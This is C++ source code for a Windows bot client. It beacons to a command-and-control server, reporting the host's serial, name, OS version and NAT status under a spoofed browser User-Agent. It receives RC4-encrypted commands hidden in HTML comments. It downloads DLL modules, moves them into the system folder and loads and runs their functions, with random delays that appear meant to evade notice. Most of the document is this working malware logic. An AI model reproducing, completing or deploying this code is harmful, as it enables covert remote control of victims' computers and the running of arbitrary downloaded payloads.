typedef int (_stdcall *DLLMainFunktion)(int random);
int parsecommand(string command){
    commandcount++;
	#if defined DEBUG
	  cout<<commandcount<<":"<<command<<endl;
	#endif
	int count=command.find(' ');
	string cmd[11];
	cmd[0]=command.substr(0,count);
	command=command.substr(count+1);
	if(cmd[0]=="wait"){
	     Sleep(OneMinute);
	     return 0;	
		}
	count=cmd[0].find(".dll");
	for(int i=1;i<=9;i++)
	  {
        int count=command.find(' ');
	    string tmp=command;
	    cmd[i]=tmp.substr(0,count);
	    command=command.substr(count+1);
	  }
	if(count!=string::npos){
		cmd[1]=cmd[1].substr(0,cmd[1].length()-1);
		string dllname=cmd[0].substr(0,cmd[0].length()-5);
		#if defined DEBUG
		   cout<<"funkname:"<<cmd[1]<<"."<<endl;
		#endif
		  HMODULE hDLL=LoadLibrary(dllname.c_str());
		  if (hDLL!=NULL){
			  #if defined DEBUG
			     cout<<"already installed:"<<dllname<<endl; 
			  #endif
			  DLLMainFunktion myTest;
		      myTest=(DLLMainFunktion)GetProcAddress(hDLL,cmd[1].c_str());
			  if(myTest!=NULL){
		      int t=myTest(rand()%30);
			  #if defined DEBUG
		         cout<<"t:"<<t;
			  #endif
			  FreeLibrary(hDLL);
			  }
		  }
		  else{
            string installname;
		    string location=GetBotModulePath(dllname);
		    bool sucess=InstallModule(location,installname);
			#if defined DEBUG
			   cout<<"installanme:"<<installname<<endl;
            #endif
            hDLL=LoadLibrary(installname.c_str());
		    if (hDLL!=NULL){
               #if defined DEBUG
			     cout<<"loading succesfull:"<<dllname<<endl; 
			   #endif
			   DLLMainFunktion myTest;
		       myTest=(DLLMainFunktion)GetProcAddress(hDLL,cmd[1].c_str());
               if(myTest!=NULL){
		       int t=myTest(rand()%30);
			   #if defined DEBUG
		         cout<<"t:"<<t;
               #endif
			   FreeLibrary(hDLL);
			   }
			}
		  else{
		     ErrorPrint();
			 FreeLibrary(hDLL);
			 }
		  }
		  return 1;
	}
	else{
      if (cmd[0]=="download"){
	      Download( cmd[1], cmd[2], cmd[3]);
		  return 1;
	  }
	  else{
		  Sleep(OneMinute);
		  return 1;
	  }
	}
	return 1;	
	
}
bool file_exists(const char * filename) {     if (FILE * file = fopen(filename, "r"))     {         fclose(file);         return true;     }     return false; }

bool InstallModule(string loca,string &installname){
	Sleep(OneMinute*( (rand()%10) +1) );//1 to 10 minutes
	Download(loca,"w.dll","0 ");
	installname=installname.substr(0,installname.find(".dll"));
	string locanow=myGetTempPath()+"\\w.dll";
	char sysbuf[_MAX_PATH];
    GetSystemDirectory(sysbuf, sizeof(sysbuf)-1);
	string SystemFolder=sysbuf;
	installname=SystemFolder+"\\"+installname;
    MoveFile(locanow.c_str(),installname.c_str()); 
	return 0;
}
string GetBotModulePath(string name){
  /* sockaddr_in addr;
  SOCKET sock;
  sock=socket(AF_INET,SOCK_STREAM,0);

     if(sock==INVALID_SOCKET){
    	 Sleep(20000);
		 connect(0);
	 }
  
  addr.sin_family = AF_INET;
  addr.sin_port = htons(80);
  char ip[20];
  ResolveHost(ip,server);
  addr.sin_addr.s_addr = inet_addr(ip);
  int conn=connect(sock,(SOCKADDR*)&addr,sizeof(SOCKADDR));
     if (conn==SOCKET_ERROR)
		 return "fail";
  string request="GET /"+loginlocation+"?GetModule="
	          +name+
			   " HTTP/1.1\r\nHost:"+server
	          +"\r\n\r\n";
  send(sock, request.c_str(), request.length(), 0);
  char temp[10000];
  int x = recv(sock, temp, 10000, 0);
  closesocket(sock);
  name=temp;*/
  //cout<<name;
  int count=name.find("<!--");
  name=name.substr(count+4,string::npos);
  count=name.find("-->",0);
  name=name.substr(0,count);
  int iLEN=name.length();
  name=RC4(name.c_str(),iLEN,cryptpassword.c_str());
  name=name.substr(0,iLEN);
  #if defined DEBUG
    cout<<"location of the dll:"<<name<<endl;
  #endif
  return name;
  
}

int connect(int meta){ 
  sockaddr_in addr;
  SOCKET sock;
  sock=socket(AF_INET,SOCK_STREAM,0);
  if(sock==INVALID_SOCKET){
    	 Sleep(20000);
		 connect(0);
	 }
  addr.sin_family = AF_INET;
  addr.sin_port = htons(80);
  char serverip[20];
  ResolveHost(serverip,server);
  addr.sin_addr.s_addr = inet_addr(serverip);
//cout<<"server:"<<server<<endl;
//cout<<"ip(uncorvertitrt):"<<serverip<<endl;
//cout<<"ip:"<< addr.sin_addr.s_addr<<endl;


  int conn=connect(sock,(SOCKADDR*)&addr,sizeof(SOCKADDR));
     if (conn==SOCKET_ERROR){
           Sleep(20000);
    	  connect(0);
	 }
	 string request="GET /"+loginlocation;
	 if (BotID==0){
	   int os=OSVersionCheck();
	   string winversion="unknown";
	   switch (os){
	   case 4:winversion="xp";
	  	    break;
       case 6:winversion="vista";
		    break;
	   case 7:winversion="win 7";
		    break;
	   case 2003:winversion="server 2003";
		    break;
	   default: winversion="unknown";
              break;
	   }    
       request+="?serial="+serial()
	    +"&name="+name()+"&os="+winversion+"&NAT="+NAT();
	 }
	 else
		 request+="?ID="+IntToStr(BotID);
     if(meta!=0){
         #if defined DEBUG
		   cout<<"set command to wait"<<meta<<endl;
         #endif
         request=request+"&nc="+IntToStr(rand());
	 }
	 string mode=" HTTP/1.1\r\nHost:"+server
	  +"\r\nUser-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n\r\n";
	     request=request+mode;	
        send(sock, request.c_str(), request.length(), 0);
        char temp[10000];
		int x = recv(sock, temp, 10000, 0);
		closesocket(sock);
		string command=temp;
		int count=command.find("<!--");
    	command=command.substr(count+4,string::npos);
    	count=command.find("-->",0);
		command=command.substr(0,count);
		string crypted=command;
		int iLEN=command.length();
		command=RC4(command.c_str(),iLEN,cryptpassword.c_str());
		command=command.substr(0,iLEN);
		if(command.substr(0,3) == "id="){
          BotID=Str2Int(command.substr(3));
		  return 0;
		}
        return parsecommand(command);
}
